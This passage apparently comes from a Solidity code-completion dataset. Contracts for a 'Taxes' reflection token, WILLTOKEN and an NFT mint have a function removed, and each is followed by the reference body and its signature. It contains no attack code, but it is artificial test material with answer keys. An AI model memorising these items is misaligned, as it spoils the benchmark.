swap tokens for ETH swapTokensForEth(halfOfLiquify); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalfOfLiquify, newBalance); sendBNBToCharity(portionForFees); emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
contract Taxes is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**1 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "https://linktr.ee/TAXESNGMI"; string private _symbol = "TAX"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address payable public _charityWalletAddress; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**1 * 10**9; uint256 private numTokensSellToAddToLiquidity = 300000000 * 10**1 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } <FILL_FUNCTION> function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function sendBNBToCharity(uint256 amount) private { swapTokensForEth(amount); _charityWalletAddress.transfer(address(this).balance); } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into thirds uint256 halfOfLiquify = contractTokenBalance.div(4); uint256 otherHalfOfLiquify = contractTokenBalance.div(4); uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(halfOfLiquify); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalfOfLiquify, newBalance); sendBNBToCharity(portionForFees); emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
_charityWalletAddress = charityWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal);
constructor (address payable charityWalletAddress) public
constructor (address payable charityWalletAddress) public
39,288
WILLTOKEN
transferFrom
contract WILLTOKEN is ERC20Interface, Owned { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; mapping (address => uint256) public freezeOf; /* Initializes contract with initial supply tokens to the creator of the contract */ function WILLTOKEN ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public { decimals = decimalUnits; // Amount of decimals for display purposes _totalSupply = initialSupply * 10**uint(decimals); // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purpose owner = msg.sender; // Set the creator as owner balances[owner] = _totalSupply; // Give the creator all initial tokens } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require( tokens > 0 && to != 0x0 ); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public onlyOwner returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Burns the amount of tokens by the owner // ------------------------------------------------------------------------ function burn(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender _totalSupply = _totalSupply.sub(tokens); // Updates totalSupply emit Burn(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Freeze the amount of tokens by the owner // ------------------------------------------------------------------------ function freeze(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender freezeOf[msg.sender] = freezeOf[msg.sender].add(tokens); // Updates totalSupply emit Freeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Unfreeze the amount of tokens by the owner // ------------------------------------------------------------------------ function unfreeze(uint256 tokens) public onlyOwner returns (bool success) { require (freezeOf[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; freezeOf[msg.sender] = freezeOf[msg.sender].sub(tokens); // Subtract from the sender balances[msg.sender] = balances[msg.sender].add(tokens); emit Unfreeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract WILLTOKEN is ERC20Interface, Owned { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; mapping (address => uint256) public freezeOf; /* Initializes contract with initial supply tokens to the creator of the contract */ function WILLTOKEN ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public { decimals = decimalUnits; // Amount of decimals for display purposes _totalSupply = initialSupply * 10**uint(decimals); // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purpose owner = msg.sender; // Set the creator as owner balances[owner] = _totalSupply; // Give the creator all initial tokens } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require( tokens > 0 && to != 0x0 ); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public onlyOwner returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Burns the amount of tokens by the owner // ------------------------------------------------------------------------ function burn(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender _totalSupply = _totalSupply.sub(tokens); // Updates totalSupply emit Burn(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Freeze the amount of tokens by the owner // ------------------------------------------------------------------------ function freeze(uint256 tokens) public onlyOwner returns (bool success) { require (balances[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; balances[msg.sender] = balances[msg.sender].sub(tokens); // Subtract from the sender freezeOf[msg.sender] = freezeOf[msg.sender].add(tokens); // Updates totalSupply emit Freeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Unfreeze the amount of tokens by the owner // ------------------------------------------------------------------------ function unfreeze(uint256 tokens) public onlyOwner returns (bool success) { require (freezeOf[msg.sender] >= tokens) ; // Check if the sender has enough require (tokens > 0) ; freezeOf[msg.sender] = freezeOf[msg.sender].sub(tokens); // Subtract from the sender balances[msg.sender] = balances[msg.sender].add(tokens); emit Unfreeze(msg.sender, tokens); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
require( tokens > 0 && to != 0x0 && from != 0x0 ); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
58,296
Twentyfourpxmfers
mintfree
contract Twentyfourpxmfers is ERC721Enum, Ownable, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.01 ether; uint256 public maxSupply = 10000; uint256 public maxFree = 1000; uint256 public nftPerAddressLimit = 9; bool public status = false; bool public revealed = false; string public notRevealedUri; mapping(address => uint256) public addressMintedBalance; constructor() ERC721S("24 px mfers", "24pxmfers"){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function mint(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); require(!paused()); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 20, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxSupply, "Cant go over supply" ); require(msg.value >= cost * _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s; } function mintfree(uint256 _mintAmount) public payable nonReentrant{<FILL_FUNCTION_BODY> } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; uint256 s = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( s + totalQuantity <= maxSupply, "Too many" ); require(!paused()); delete totalQuantity; for(uint i = 0; i < recipient.length; ++i){ for(uint j = 0; j < quantity[i]; ++j){ _safeMint( recipient[i], s++, "" ); } } delete s; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxFree(uint256 _newMaxFree) public onlyOwner { maxFree = _newMaxFree; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
contract Twentyfourpxmfers is ERC721Enum, Ownable, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.01 ether; uint256 public maxSupply = 10000; uint256 public maxFree = 1000; uint256 public nftPerAddressLimit = 9; bool public status = false; bool public revealed = false; string public notRevealedUri; mapping(address => uint256) public addressMintedBalance; constructor() ERC721S("24 px mfers", "24pxmfers"){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function mint(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); require(!paused()); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 20, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxSupply, "Cant go over supply" ); require(msg.value >= cost * _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s; } <FILL_FUNCTION> function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; uint256 s = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( s + totalQuantity <= maxSupply, "Too many" ); require(!paused()); delete totalQuantity; for(uint i = 0; i < recipient.length; ++i){ for(uint j = 0; j < quantity[i]; ++j){ _safeMint( recipient[i], s++, "" ); } } delete s; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxFree(uint256 _newMaxFree) public onlyOwner { maxFree = _newMaxFree; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
uint256 s = totalSupply(); require(!paused()); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 3, "Cant mint more then maxmint" ); require(s + _mintAmount <= maxFree, "Cant go over supply" ); for (uint256 i = 0; i < _mintAmount; ++i) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, s + i, ""); } delete s;
function mintfree(uint256 _mintAmount) public payable nonReentrant
function mintfree(uint256 _mintAmount) public payable nonReentrant
46,750
ERC20
ERC20
